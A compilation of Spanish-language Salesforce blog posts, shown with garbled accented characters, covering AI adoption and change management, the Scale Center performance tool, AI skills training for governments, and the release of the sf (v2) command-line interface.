  • Espere revoluciones tecnol贸gicas frecuentes : el tiempo se acorta entre transformaciones importantes. Hace cientos de a帽os, se necesitaron cambios importantes en la tecnolog铆a, como el causado por la imprenta, en el transcurso de varias generaciones. Con el paso del tiempo, el ritmo del cambio se aceler贸. Tomemos, por ejemplo, los cambios provocados por la invenci贸n del autom贸vil, que se produjeron entre generaciones. Ahora, podemos ver que las revoluciones en tecnolog铆a, como Internet, pueden ocurrir dentro de una sola generaci贸n.

La IA se est谩 moviendo r谩pido y continuar谩 creando cambios constantes. Para adaptarnos, necesitamos sentirnos c贸modos con la inestabilidad porque el polvo nunca se asentar谩 . Si se encuentra sin planes para ajustar su forma de trabajar, inicie la conversaci贸n ahora.

Volverse m谩s receptivo al cambio

Reconocer y solidarizarse con los desaf铆os de la transformaci贸n . Considere los siguientes enfoques pr谩cticos para apoyar a su organizaci贸n a trav茅s del cambio:

  • Cree seguridad para que las personas exploren posibilidades : este es el ancla del enfoque de cambio centrado en el ser humano de Salesforce. Al igual que el ancla de un barco, permitir谩 deambular en todas las direcciones mientras se mantiene en una ubicaci贸n estrat茅gica.
  • Defina lo que se mantendr谩 firme : cuando todo parece estar cambiando r谩pidamente, identifique las cosas importantes que NO est谩n cambiando. Esto los aislar谩 del mar de novedades que rodean a sus equipos.
  • Encuentre peque帽os pasos para preparar a su gente : Algo tan simple como mantener sus Etapas de ventas actuales mientras aplica EinsteinGPT puede brindarle una base segura mientras prueba cosas nuevas.
  • Invierta en capacitaci贸n y capacitaci贸n : reconozca que la innovaci贸n de la IA afectar谩 los roles laborales y las habilidades requeridas. Proporcione programas de capacitaci贸n y recursos para que sus empleados aprendan a trabajar de manera efectiva con las tecnolog铆as de IA. Al hacerlo, fomentar谩 una cultura de aprendizaje continuo y desarrollo de habilidades.

Recuerde, demasiados cambios a la vez pueden generar resistencia. Al administrar y enmarcar sus iniciativas de cambio de manera reflexiva, puede ayudar a su organizaci贸n a desarrollar una mentalidad abierta. Cuando eso suceda, los empleados se sentir谩n m谩s seguros para explorar nuevas ideas. Esto permite una cultura de adaptabilidad y crecimiento.

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Entrenador de IA

Los servicios profesionales de Salesforce pueden ayudarlo a establecer la base adecuada para el 茅xito con nuestro nuevo paquete, AI Coach.

Construye pistas para el futuro

El 茅xito llegar谩 a las organizaciones que crean un espacio para explorar el cambio y probar los impactos potenciales de la innovaci贸n de la IA. Siga estos pasos para construir su futuro de IA:

  • Forme un equipo de innovaci贸n multifuncional : re煤na un equipo de personas con experiencia diversa en comportamiento, adopci贸n y transformaci贸n. Este equipo impulsar谩 la exploraci贸n, implementaci贸n y prueba de soluciones de IA dentro de su organizaci贸n.
  • Dise帽ar una infraestructura para el futuro : no se pueden poner trenes magn茅ticos de alta velocidad en las v铆as del tren tradicional. Los l铆deres deber谩n examinar sus plataformas, infraestructura, deuda t茅cnica y gobernanza para asegurarse de que est茅n listos.
  • Adopte una mentalidad centrada en el cliente : comprenda c贸mo la IA puede mejorar las experiencias de los clientes y mejorar su conexi贸n con ellos. Desarrolle una estrategia que use IA para proporcionar una entrega de productos m谩s r谩pida, servicios personalizados, mayor reconocimiento de marca y mayor participaci贸n del cliente.
  • Genere confianza : Esta tecnolog铆a tiene tantos peligros como beneficios. Adopte un enfoque centrado en el ser humano y genere confianza con aquellos que usan sus productos. Tus clientes toman sus decisiones de compra en base a la confianza que creas. El uso responsable y 茅tico estar谩 en el centro mismo de este esfuerzo.

El futuro de la IA tiene un potencial inmenso. Al abordarlo de manera cuidadosa y responsable, puede desbloquear nuevas posibilidades e impulsar a su organizaci贸n hacia el 茅xito a largo plazo.

Impulse la innovaci贸n continua de la IA

La revoluci贸n de la IA est谩 aqu铆. Para prosperar en esta era, las organizaciones deben adoptar la IA y su poder transformador. Salesforce Professional Services es su socio de confianza en este viaje. Lo ayudaremos a navegar por el panorama en evoluci贸n de la IA e impulsar la transformaci贸n continua.

Con la Oficina de Innovaci贸n Continua , nuestro equipo de asesores de confianza trabajar谩 con usted para optimizar y escalar para el futuro, aumentar la agilidad y la flexibilidad y mejorar la entrega de la plataforma. Lo ayudaremos a alinearse con los resultados comerciales y darse cuenta del poder de la IA y los datos, todo en la plataforma de CRM de IA n.潞 1 del mundo. Juntos, podemos potenciar las experiencias de sus clientes y desbloquear todo el potencial de Salesforce.

No dejes que el polvo se asiente. Aproveche las extraordinarias posibilidades de la IA con los servicios profesionales de Salesforce e impulse a su organizaci贸n a nuevos niveles de innovaci贸n y 茅xito.

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Salesforce Scale Center est谩 generalmente disponible 鈽侊笍

Salesforce Scale Center est谩 generalmente disponible 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Salesforce Scale Center est谩 generalmente disponible | Blog de desarrolladores de Salesforce

Trailblazer.me estar谩 fuera de l铆nea por mantenimiento programado a partir del 21 de julio de 2023 a las 6 p. m. (hora del Pac铆fico) hasta el 22 de julio de 2023 mientras transformamos Trailblazer.me en la nueva cuenta de Trailblazer. Durante este tiempo de inactividad, no podr谩 iniciar sesi贸n en ninguna aplicaci贸n relacionada, incluidas Ayuda y capacitaci贸n, AppExchange, Trailhead y Trailblazer Community, y m谩s.

Estamos encantados de anunciar la disponibilidad general de Scale Center , una potente aplicaci贸n dise帽ada para ayudar a nuestros clientes a optimizar sus implementaciones de Salesforce con informaci贸n mejorada sobre rendimiento y escalabilidad. Scale Center revoluciona la forma en que los equipos abordan el desarrollo, las pruebas y el monitoreo al proporcionar acceso de autoservicio y casi en tiempo real a las m茅tricas de rendimiento de la organizaci贸n y a los conocimientos pr谩cticos.

En esta publicaci贸n, escuchar谩 c贸mo Salesforce Scale Center ayuda a los ingenieros, arquitectos, desarrolladores y administradores de rendimiento a evaluar y resolver de manera proactiva los problemas de rendimiento en sus implementaciones de Salesforce, lo que permite a las empresas escalar con confianza.

La importancia de construir a escala

Escalar de manera eficiente es un aspecto cr铆tico del dise帽o e implementaci贸n de aplicaciones en la plataforma Salesforce. Muchos clientes solo se dan cuenta de los problemas de escalabilidad una vez que los usuarios finales comienzan a informar un rendimiento y usabilidad degradados; en este punto, estos problemas ya han afectado el negocio. Dise帽ar para el futuro y predecir y simular el tr谩fico comercial futuro puede ser un desaf铆o. Si bien algunos errores pueden detectarse durante la fase de dise帽o, la mayor铆a de los errores ocurren solo durante el tiempo de ejecuci贸n en producci贸n y, a veces, se manifiestan durante las cargas m谩ximas.

Salesforce Scale Center proporciona la visibilidad necesaria de las m茅tricas de rendimiento necesarias para aislar los puntos cr铆ticos y la capacidad de profundizar en estos puntos cr铆ticos para el an谩lisis de la causa ra铆z y la gu铆a de remediaci贸n. Con Salesforce Scale Center, ahora puede abordar la escalabilidad de la aplicaci贸n de manera proactiva en lugar de reactivamente, asegurando soluciones m谩s disponibles, receptivas y de rendimiento para su usuario final.

Obtenga una visi贸n completa de sus m茅tricas de rendimiento

Salesforce Scale Center permite a los clientes ver una instant谩nea de las m茅tricas de rendimiento de su organizaci贸n durante un intervalo de tiempo definido. A los clientes se les proporciona un panel 煤nico de visualizaci贸n de errores comunes, incluidos inicios de sesi贸n fallidos, errores de Apex simult谩neos y errores de Rowlock. Adem谩s, los clientes pueden ver las m茅tricas clave visualizadas en un gr谩fico durante la duraci贸n del intervalo de tiempo, incluido el tiempo de solicitud promedio, el tiempo de CPU de la base de datos y los errores totales. Con esta vista, los clientes pueden identificar r谩pidamente puntos cr铆ticos de rendimiento y escala.

Llevar a cabo un an谩lisis profundo de un problema de rendimiento

Caso de uso: optimizaci贸n del rendimiento de la base de datos

Salesforce Scale Center no se detiene simplemente en la visibilidad. Una vez que se observan puntos cr铆ticos, problemas y picos dentro de las m茅tricas de rendimiento, los clientes pueden investigar los componentes y sistemas que est谩n causando el problema.

Echemos un vistazo a nuestro primer caso de uso: optimizar el rendimiento de la base de datos. Imagine un escenario en el que los usuarios finales informen que el proceso de registro de su aplicaci贸n lleva mucho tiempo y falla con frecuencia. A continuaci贸n, explicaremos c贸mo puede abordar este problema utilizando Salesforce Scale Center.

  1. Navegue hasta el gr谩fico de CPU de la base de datos .

2. En el gr谩fico, haga clic y arrastre para resaltar los picos en las m茅tricas de rendimiento.

3. Seleccione el tipo de informe e inicie un an谩lisis de la base de datos.

4. Cambie a la pesta帽a An谩lisis de rendimiento para ver el informe generado.

5. Dentro del informe, puede identificar las principales consultas SOQL por tiempo de CPU de base de datos y procesos DML para solucionar qu茅 acciones espec铆ficas est谩n provocando una mala experiencia del usuario final.

Los tipos de informes disponibles en Salesforce Scale Center incluyen: Resumen de Apex, Apex concurrente, Rendimiento de base de datos, Rendimiento de flujo, L铆mites reguladores, Vistas de lista e informes, Rendimiento de integraciones y Bloqueo de fila. Adicionalmente, existe un informe consolidado que engloba todos los an谩lisis.

Al seguir estos pasos y aprovechar el poder de Salesforce Scale Center, los desarrolladores pueden abordar los cuellos de botella en el rendimiento y optimizar los procesos para mejorar la eficiencia.

Comparar el rendimiento en diferentes per铆odos de tiempo

Salesforce Scale Center permite a los clientes comparar las m茅tricas de rendimiento de la organizaci贸n en diferentes per铆odos de tiempo. Los casos de uso clave incluyen:

  • Preparaci贸n para la implementaci贸n de producci贸n:
    • Realice pruebas de rendimiento en un entorno de espacio aislado
    • Analice los resultados de las pruebas en Scale Center para identificar cuellos de botella o problemas de rendimiento antes de implementarlos en producci贸n
  • Evaluaci贸n del impacto posterior a la implementaci贸n:
    • Despu茅s de un lanzamiento importante o una implementaci贸n de funciones en producci贸n, aproveche Scale Center para comparar las m茅tricas de la organizaci贸n antes y despu茅s de la implementaci贸n.
    • Determinar si la implementaci贸n ha tenido alg煤n impacto negativo en el desempe帽o general de la organizaci贸n.
  • An谩lisis del rendimiento durante los d铆as pico:
    • Utilice la funci贸n de comparaci贸n de Scale Center para evaluar el impacto en el rendimiento de la organizaci贸n durante los d铆as pico.
    • Compare las m茅tricas de tr谩fico y rendimiento con el comportamiento de referencia, lo que ayuda a identificar cualquier cambio o problema potencial.

C贸mo comparar per铆odos de tiempo en Salesforce Scale Center

  1. Proporcione un rango de tiempo base y un rango de tiempo de comparaci贸n.

2. Compare las m茅tricas de primera l铆nea.

3. Compare los gr谩ficos de rendimiento de la organizaci贸n.

Al aprovechar la funci贸n de comparaci贸n de Scale Center, los desarrolladores pueden obtener informaci贸n valiosa sobre el rendimiento de la organizaci贸n, identificar 谩reas de optimizaci贸n y garantizar un proceso de implementaci贸n fluido y eficiente.

Comience con Salesforce Scale Center

Scale Center es de uso gratuito y est谩 disponible en todas las organizaciones de sandbox de copia completa y de producci贸n de UE.

Consideraciones del producto:

  • Scale Center no tiene impacto en el rendimiento de la organizaci贸n y no accede a los datos de su organizaci贸n
  • Tenga en cuenta que Scale Center no es compatible con Government Cloud Plus
  • Si desea que Scale Center est茅 habilitado en una organizaci贸n fuera de UE, comun铆quese con su representante de cuenta

Para acceder al Centro de escala:

  1. Navegue a Configuraci贸n.
  2. Ingrese "Centro de escala" en el cuadro B煤squeda r谩pida y haga clic en la pesta帽a Rendimiento de la organizaci贸n en la hoja Rendimiento.
  3. Habilite Scale Center para su organizaci贸n activando la opci贸n Habilitar Scale Center .

Tenga en cuenta que las m茅tricas de rendimiento pueden tardar hasta dos horas en aparecer despu茅s de habilitar Scale Center.

M谩s recursos

Sobre el Autor

Justin Saintil es Gerente de Producto Asociado en Salesforce y trabaja en la Cartera de Productos de Escalabilidad.

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Lo que los gobiernos necesitan ahora: datos y habilidades de IA

Lo que los gobiernos necesitan ahora: datos y habilidades de IA

El auge de la IA est谩 aqu铆 , lo que significa que es hora de ver c贸mo la IA en el gobierno puede hacer que las cosas funcionen mejor tanto para las organizaciones como para los electores.

Para las organizaciones gubernamentales y del sector p煤blico, hay formas claras en que la IA puede ayudarlos a ser m谩s eficientes y servir a las personas de mejores maneras, como el procesamiento de datos, la seguridad cibern茅tica y la planificaci贸n p煤blica, por nombrar algunas.

Las agencias p煤blicas tienen la oportunidad de crear conciencia sobre la importancia de la IA en el gobierno. Este auge de la IA significa que es un buen momento para que los trabajadores del gobierno adquieran nuevas habilidades y aseguren su futuro. Obtener estas habilidades de IA en demanda ayudar谩 a los empleados a servir mejor al p煤blico, mejorando la confianza entre los sectores p煤blico y privado.

Conc茅ntrese en su misi贸n, no en TI

Aprenda de un ex ejecutivo del gobierno federal c贸mo una mayor seguridad cibern茅tica puede ayudar a hacer posible la transformaci贸n digital para el sector p煤blico.

Sin embargo, una de las mayores preocupaciones en torno al surgimiento de esta tecnolog铆a y las inversiones que se est谩n realizando en ella es una crisis de habilidades de IA. Una encuesta de SAS de los tomadores de decisiones de las principales empresas estadounidenses que abarcan nueve sectores, incluido el gobierno, dice que el 63% de los encuestados cree que no tienen suficientes recursos de inteligencia artificial y aprendizaje autom谩tico de alta calidad.

Esa brecha de habilidades, junto con el enfoque de avance a toda velocidad por parte de los tomadores de decisiones en las empresas y el gobierno, est谩 dando a los trabajadores motivos para preocuparse.

En marzo, el banco de inversi贸n Goldman Sachs predijo que la IA eventualmente podr铆a reemplazar 300 millones de empleos de tiempo completo en todo el mundo y afectar a casi una quinta parte del empleo, con un impacto particular en los trabajos administrativos que a menudo se consideran a prueba de automatizaci贸n, como las profesiones administrativas y legales. .

Pero se crear谩n empleos: la pregunta es en qu茅 porcentaje se desplazar谩n esos empleos compensados. El Informe sobre el futuro de los empleos del Foro Econ贸mico Mundial dice que casi el 75 % de las empresas encuestadas esperan adoptar la IA; el 50 % de las organizaciones cree que dar谩 como resultado un crecimiento del empleo y el 25 % cree que crear谩 p茅rdidas de empleo.

Por eso es tan importante, a medida que la IA asume una cantidad cada vez mayor de tareas de nivel inferior, que los trabajadores afectados por este cambio adquieran las habilidades para pasar a un trabajo m谩s emprendedor. Existe una gran oportunidad para que su organizaci贸n adopte la IA en el gobierno, pero primero, debe asegurarse de que sus empleados tengan la capacitaci贸n adecuada y que tenga los datos fundamentales seguros con los que trabajar谩 la IA.

La modernizaci贸n de datos es el primer paso para configurar su organizaci贸n para un futuro optimizado por IA. Tambi茅n es un 谩rea en la que los trabajadores pueden mejorar y hacer la transici贸n a medida que la IA aleja el flujo de trabajo basado en humanos de las tareas de nivel inferior.

C贸mo la brecha de habilidades crea una oportunidad para la IA en trabajos gubernamentales

AI tiene el poder de mejorar enormemente las operaciones gubernamentales para satisfacer de manera m谩s efectiva las necesidades de sus ciudadanos. Los casos de uso son pr谩cticamente infinitos , desde la gesti贸n del tr谩fico hasta la prestaci贸n de atenci贸n m茅dica y el procesamiento de interminables formularios y papeleo que obstruyen notoriamente a casi todas las agencias gubernamentales.

Los departamentos de salud est谩n utilizando IA en todo, desde acelerar los ensayos de medicamentos hasta detectar y prevenir la pr贸xima pandemia .

Las agencias de seguridad p煤blica est谩n implementando IA para apoyar al personal, optimizar las operaciones y analizar grandes conjuntos de datos.

La lista contin煤a: identificar las deficiencias de infraestructura y las soluciones m谩s efectivas y eficientes; formas m谩s efectivas de implementar redes de seguridad y al mismo tiempo detectar el fraude; opciones de autoservicio para consultas de residentes; simplificar los sistemas judiciales atrasados .

La amplia gama de IA en aplicaciones gubernamentales crea una necesidad gigantesca de trabajadores preparados para la tecnolog铆a digital. Pero uno de los mayores obst谩culos que se interponen en el camino de las agencias p煤blicas para adoptar completamente y adoptar r谩pidamente esta tecnolog铆a es la falta de inteligencia artificial y capacidades de gesti贸n de datos dentro de su propia fuerza laboral.

Los trabajadores del gobierno a menudo carecen de las habilidades de inteligencia artificial y ciencia de datos necesarias para manejar la escala masiva de datos de los ciudadanos y construir modelos de inteligencia artificial de 煤ltima generaci贸n que, en 煤ltima instancia, beneficiar谩n al p煤blico.

驴C贸mo nos aseguramos de manera efectiva de que los trabajadores no se pierdan o, peor a煤n, se queden atr谩s con tanto cambio a nuestro alrededor tan r谩pidamente? 驴Y c贸mo dotamos a los trabajadores de las herramientas adecuadas que garanticen la equidad, la accesibilidad y la seguridad? Esto es especialmente importante para las organizaciones del sector p煤blico que tienen la responsabilidad adicional de mantener algunos de los est谩ndares de seguridad m谩s estrictos del mundo.

La educaci贸n y capacitaci贸n adecuadas sobre el uso responsable de la IA es el siguiente paso para las organizaciones , ayudando al sector p煤blico a servir mejor a su gente.

Los programas de educaci贸n para la IA en el gobierno est谩n teniendo 茅xito en todo el mundo

Ahora que conoce la importancia de la educaci贸n en IA, es hora de ver c贸mo otras organizaciones de todo el mundo est谩n manejando esta oportunidad.

Finlandia lanz贸 Elementos de IA en 2018 , cursos en l铆nea gratuitos dise帽ados para presentar los conceptos b谩sicos de IA a personas no especializadas en el p煤blico. Los cursos incluyen recursos de autoaprendizaje, contenido interactivo y trabajo basado en tareas que ense帽a conceptos, m茅todos de uso y limitaciones de la tecnolog铆a. El gobierno finland茅s se comprometi贸 a educar al menos al 1 por ciento de su poblaci贸n, un objetivo que se cumpli贸 y super贸 r谩pidamente. Los cursos ahora est谩n disponibles en m谩s de 20 idiomas y 1 mill贸n de personas en todo el mundo lo han completado.

De manera similar, AI Singapur lanz贸 el programa AI for Everyone , una iniciativa nacional administrada por el gobierno para equipar a las personas y organizaciones con las habilidades para usar la IA y el aprendizaje autom谩tico para el bien social. Ofrece cursos y talleres de IA, y financiaci贸n y apoyo para proyectos de IA que abordan el cambio social.

En los EE. UU., la legislaci贸n que crear铆a un programa de capacitaci贸n en IA para supervisores federales y funcionarios administrativos tambi茅n est谩 en proceso de aprobaci贸n en el Congreso . Su objetivo es proporcionar orientaci贸n sobre el uso de IA a los l铆deres federales. Esto les ayuda a garantizar que los riesgos y las recompensas del uso de la tecnolog铆a se sopesen adecuadamente frente a las misiones de la agencia y las comunidades a las que sirven.

Equipar a una fuerza laboral con habilidades de IA puede ayudar a generar confianza en el gobierno

Los empleados que poseen las habilidades adecuadas para el momento son invaluables para un gobierno que funcione. La experiencia del empleado est谩 directamente relacionada con la experiencia del cliente, ya que descubrimos que solo el 18 % de las personas encuestadas cree que la experiencia del cliente tiene prioridad en sus interacciones con el gobierno.

Mientras tanto, tambi茅n descubrimos que el 73 % de la fuerza laboral no se siente 鈥渕uy equipada鈥 con los recursos necesarios para aprender las habilidades digitales requeridas para tener 茅xito ahora. Sin embargo, est谩 claro que equipar a los trabajadores del sector p煤blico con las habilidades necesarias para aprovechar la IA los empodera para brindar experiencias transformadoras al p煤blico.

Lo que significa que existe una gran oportunidad de mejorar las habilidades de los trabajadores del sector p煤blico para aprovechar las oportunidades que presenta la IA en el gobierno. Esto no solo significa seguridad para los trabajadores en un momento inquietante, sino tambi茅n mejores experiencias para la poblaci贸n a la que sirven. En 煤ltima instancia, esta es una oportunidad para generar m谩s confianza , asegurando que el sector p煤blico est茅 haciendo todo lo posible para servir mejor a la poblaci贸n.

Los datos son la base de una IA confiable

Una de las principales formas en que puede preparar a sus empleados para la IA es mediante la modernizaci贸n y unificaci贸n de sus datos. Es importante tener en cuenta que las herramientas de IA son tan efectivas como los datos de los que extraen y las personas que gu铆an la tecnolog铆a.

Cuando sus datos est谩n conectados y unificados, puede desbloquear el verdadero potencial de la IA y la automatizaci贸n, impulsado por conocimientos en tiempo real. Esto lo ayudar谩 a crear experiencias que no solo promuevan la misi贸n de su organizaci贸n, sino que generen confianza con las personas a las que sirve.

El ascenso del Director de Datos es un indicador de la importancia de esta funci贸n y los conjuntos de habilidades especializadas que diferenciar谩n a las organizaciones exitosas. Estos roles no solo requieren la gesti贸n de datos, sino tambi茅n las tareas cr铆ticas de garantizar el uso 茅tico y equitativo de las tecnolog铆as basadas en datos.

La confianza es una parte integral de la IA en el gobierno, lo que significa que la integridad y la seguridad de los datos son fundamentales. Eso crea una oportunidad para que las organizaciones del sector p煤blico establezcan componentes fundamentales (an谩lisis y estandarizaci贸n de grandes conjuntos de datos, implementaci贸n de medidas de seguridad mejoradas y modelado de datos innovador) para configurarlos para un futuro centrado en la IA.

El futuro de los servicios digitales

Obtenga informaci贸n de miles de personas sobre las tendencias globales que afectan las interacciones con los clientes y el gobierno y el enfoque del sector p煤blico hacia la transformaci贸n digital.

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隆Ya est谩 aqu铆 la CLI sf (v2) de Salesforce! 鈥 Parte 1 鈽侊笍

隆Ya est谩 aqu铆 la CLI sf (v2) de Salesforce! 鈥 Parte 1 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

隆Ya est谩 aqu铆 la CLI sf (v2) de Salesforce! 鈥 Parte 1 | Blog de desarrolladores de Salesforce

La CLI de Salesforce es una de las herramientas de desarrollo m谩s importantes de nuestro ecosistema. La CLI es el compa帽ero diario de los desarrolladores de Salesforce para crear, probar, implementar y m谩s. Adem谩s, la CLI es fundamental para las pr谩cticas de DevOps, como la integraci贸n continua, donde la automatizaci贸n es clave. Despu茅s de siete a帽os de disponibilidad general, ahora estamos entrando en un nuevo cap铆tulo para la CLI de Salesforce.

Esta publicaci贸n es la primera de una serie de blogs de dos partes sobre sf (v2), la nueva y mejorada CLI de Salesforce. En la Parte 1, veremos las novedades de Salesforce CLI sf (v2). Luego, en la segunda parte de la serie, nos sumergiremos en c贸mo puede migrar de comandos y banderas de estilo sfdx a los nuevos comandos y patrones de bandera de estilo sf .

Anuncio de disponibilidad general (GA) de sf (v2)

Hace aproximadamente dos a帽os, el equipo de CLI de Salesforce se embarc贸 en una iniciativa de unificaci贸n con la visi贸n de unificar las diversas experiencias de CLI en todo el ecosistema de Salesforce. Anunciamos la pr贸xima evoluci贸n de nuestra CLI de Salesforce con un nuevo ejecutable llamado sf . La creaci贸n de sf como una CLI separada nos dio la oportunidad de dise帽ar, probar y lanzar no solo una nueva estructura de comando para un r谩pido desarrollo entre nubes, sino tambi茅n una CLI m谩s intuitiva, eficaz y f谩cil de usar.

Hoy, nos complace anunciar la disponibilidad general (GA) de la segunda versi贸n (v2) de sf . Esta es una versi贸n principal de sf CLI que es lo suficientemente inteligente como para comprender todos sus comandos sfdx , as铆 como los comandos sf , con tiempos de instalaci贸n y actualizaci贸n mucho m谩s r谩pidos. La CLI sf (v2) es todo lo que es sf y sfdx . Despu茅s de instalar sf (v2), tendr谩 acceso a todos los comandos sfdx y sf , y podr谩 continuar ejecutando cualquiera de ellos.

Adopte el futuro del desarrollo de Salesforce

La CLI sf (v2) es nuestro camino a seguir. Le permite experimentar actualizaciones e instalaciones m谩s r谩pidas ya que el tama帽o de instalaci贸n/descarga se ha reducido considerablemente.

Esto significa que todas las capacidades nuevas vendr谩n solo a trav茅s de sf (v2) y dejaremos de publicar actualizaciones en sfdx (excepto las correcciones relacionadas con la seguridad). Adem谩s, todas las nuevas correcciones y caracter铆sticas del complemento CLI solo entrar谩n en sf (v2).

Despu茅s de una importante investigaci贸n de UX, hemos introducido nuevos comandos de estilo sf y patrones de bandera para brindar una mejor experiencia de usuario. Sin embargo, si le preocupan los esfuerzos necesarios para migrar de sfdx a sf , 隆tenemos buenas noticias para usted! Todav铆a puede usar los comandos sfdx y la CLI sf seguir谩 respondiendo de la misma manera. Adem谩s, solo tendr谩 un conjunto de complementos CLI en lugar de uno para sfdx y otro para sf (v1). (Nota: si ha instalado complementos, todos los complementos en sf estar谩n disponibles en sf (v2). Sin embargo, los complementos en sfdx no est谩n disponibles autom谩ticamente en sf (v2). Instale los que necesita usando sf plugins install ) .

Comience con la CLI de Salesforce sf (v2)

Para familiarizarse con sf (v2), siga las instrucciones de instalaci贸n , que le mostrar谩n c贸mo pasar a sf (v2) y c贸mo volver a su instalaci贸n CLI actual si es necesario.

Nota sobre la instalaci贸n de Salesforce CLI sf (v2):

Creamos un alias para sfdx dentro de sf (v2), para que no necesite actualizar sus scripts de sfdx a sf . Dado que sf (v2) utilizar谩 el alias sfdx, deber谩 desinstalar sfdx para que ese nombre est茅 disponible para sf (v2)

La CLI sf (v2) no se puede instalar en una m谩quina que tenga sfdx instalado. Seg煤n las instrucciones de instalaci贸n de sf (v2), primero debe desinstalar sfdx . Si no desinstala primero sfdx y, en su lugar, intenta instalar sf a trav茅s del paquete npm @salesforce/cli , que ahora alberga sf (v2), la instalaci贸n fallar谩. Tenga en cuenta que su CI no debe instalar sfdx , solo sf(v2) .

驴Que sigue?

Est茅n atentos para obtener m谩s informaci贸n sobre c贸mo pasar de los comandos sfdx -style a los comandos sf -style en la parte final de esta serie de blogs.

Mientras explora sf (v2), recuerde informar cualquier error, solicitud de funci贸n o comportamiento sorprendente a trav茅s del repositorio CLI GitHub . 隆Estamos emocionados de saber de usted y, como siempre, le agradecemos su apoyo!

Recursos

Sobre los autores

Pooja Reddivari es gerente s茅nior de gesti贸n de productos en la organizaci贸n Herramientas y experiencia para desarrolladores de plataformas en Salesforce. Le apasiona crear productos escalables y resistentes que deleiten a desarrolladores y clientes. Pooja ha trabajado en las verticales de empresa, educaci贸n y fintech con m谩s de 12 a帽os de experiencia como profesional de ingenier铆a y gesti贸n de productos. S铆gala en Twitter @poojasalesforc1 y en LinkedIn .

Philippe Ozil es un defensor principal de desarrolladores en Salesforce, donde se enfoca en la plataforma de Salesforce. Escribe contenido t茅cnico y habla con frecuencia en conferencias. Es un desarrollador full-stack y disfruta trabajar en proyectos DevOps, rob贸tica y VR. S铆galo en Twitter @PhilippeOzil o consulte sus proyectos de GitHub @pozil .

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Navegue por su camino hacia un futuro de IA

Navegue por su camino hacia un futuro de IA

Bienvenido a la era digital, donde la inteligencia artificial reina y las organizaciones se encuentran en la c煤spide de una revoluci贸n. El futuro de la IA est谩 aqu铆 y est谩 impulsando un incre铆ble impulso empresarial. Los l铆deres y las personas se esfuerzan por comprender los riesgos y las oportunidades de implementar la IA. Mientras que, al mismo tiempo, est谩n tratando de no quedarse atr谩s de la competencia.

Para prepararse para un futuro de IA, las empresas deben adoptar un enfoque estrat茅gico y hol铆stico que aborde varios factores clave. Profundicemos en los pasos esenciales para convertir su organizaci贸n en una potencia impulsada por IA.

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Los servicios profesionales de Salesforce pueden ayudarlo a establecer la base adecuada para el 茅xito con nuestro nuevo paquete, AI Coach.

Cultivar la seguridad para conducir a los empleados

Introducir IA en una organizaci贸n requiere crear un entorno seguro y de apoyo. Anime a sus equipos a aceptar el cambio y tomar riesgos. Generar confianza dentro de la organizaci贸n permite que las personas se sientan seguras en sus funciones y las motiva a explorar el potencial de la IA.

Para crear un entorno seguro y de apoyo para la adopci贸n de IA:

  • Fomentar una cultura de transparencia : Promover una comunicaci贸n abierta y honesta sobre las iniciativas de IA, abordando inquietudes y brindando explicaciones claras.
  • Fomente la innovaci贸n y la experimentaci贸n : cree oportunidades para que los empleados exploren las tecnolog铆as de IA y experimenten con nuevas ideas. Involucre a sus equipos y empoderarlos para compartir sus perspectivas 煤nicas en su viaje de IA.
  • Proporcione oportunidades de aprendizaje y desarrollo : demuestre el apoyo de la organizaci贸n ofreciendo programas de capacitaci贸n, talleres y recursos. Sus equipos se sentir谩n alentados a adquirir nuevas habilidades y mejorar su comprensi贸n de la IA.
  • Reconozca y recompense las contribuciones : reconozca y celebre a los empleados que participan en iniciativas de IA. Esto fomenta un sentido de valor y motiva a las personas a participar en la transformaci贸n de la IA.

Al cultivar una actitud positiva hacia el cambio, las organizaciones pueden prepararse para las oportunidades de un futuro de IA.

Mejorar la adopci贸n priorizando el impacto humano

Para adoptar con 茅xito la IA, es importante comunicar una visi贸n convincente centrada en el ser humano . Si bien la IA puede parecer impersonal, debemos enfatizar el impacto beneficioso que puede tener, especialmente considerando las bajas barreras de entrada que la hacen accesible a una amplia gama de usuarios.

Una de las ventajas clave de la tecnolog铆a de IA es su baja barrera de entrada. Considere el ejemplo de TikTok, una plataforma social que alcanz贸 los 100 millones de usuarios en solo nueve meses . En comparaci贸n, el motor de IA generativa, ChatGPT, logr贸 el mismo hito en solo dos meses. Esto muestra la facilidad con la que se puede adoptar la tecnolog铆a de IA y el r谩pido ritmo al que se puede adoptar a escala mundial.

Para lograr una adopci贸n exitosa de la IA:

  • Comunique los beneficios de la IA centrados en el ser humano : enfatice c贸mo la IA puede mejorar la productividad y automatizar tareas tediosas. Presente la IA como un activo valioso que aumenta, no reemplaza, el trabajo humano y como un cambio que puede acelerar el trabajo y mejorar la satisfacci贸n laboral.
  • Encuentre y comunique beneficios espec铆ficos : Ilustre las ventajas de ahorro de tiempo de la adopci贸n de IA. Col贸quelo como un asistente personal que agiliza los flujos de trabajo y libera tiempo para un trabajo m谩s significativo.
  • Presente un caso s贸lido para el cambio : comunique las consecuencias de no adoptar la IA. Reflexione sobre las mejores pr谩cticas de la industria, destacando el ritmo sin precedentes de adopci贸n de IA y las bajas barreras de entrada.

Al centrarse en los beneficios centrados en el ser humano y resaltar las barreras de entrada bajas, las organizaciones pueden integrar r谩pidamente soluciones de IA en sus flujos de trabajo sin necesidad de una amplia experiencia t茅cnica o una inversi贸n financiera significativa. Esta accesibilidad permite un proceso de adopci贸n m谩s inclusivo y abre las puertas a una variedad de industrias y sectores.

Empodere a su organizaci贸n para un futuro de IA

Dotar a su organizaci贸n de las herramientas y estrategias adecuadas es crucial para mantenerse competitivo e impulsar el 茅xito. Considere desarrollar un programa de capacitaci贸n integral y un proceso formal de adopci贸n de IA. Con pr谩cticas como estas, sus equipos pueden mantenerse 谩giles con la tecnolog铆a en evoluci贸n.

Estos tres pasos cruciales han demostrado ser esenciales para el 茅xito de las transformaciones digitales:

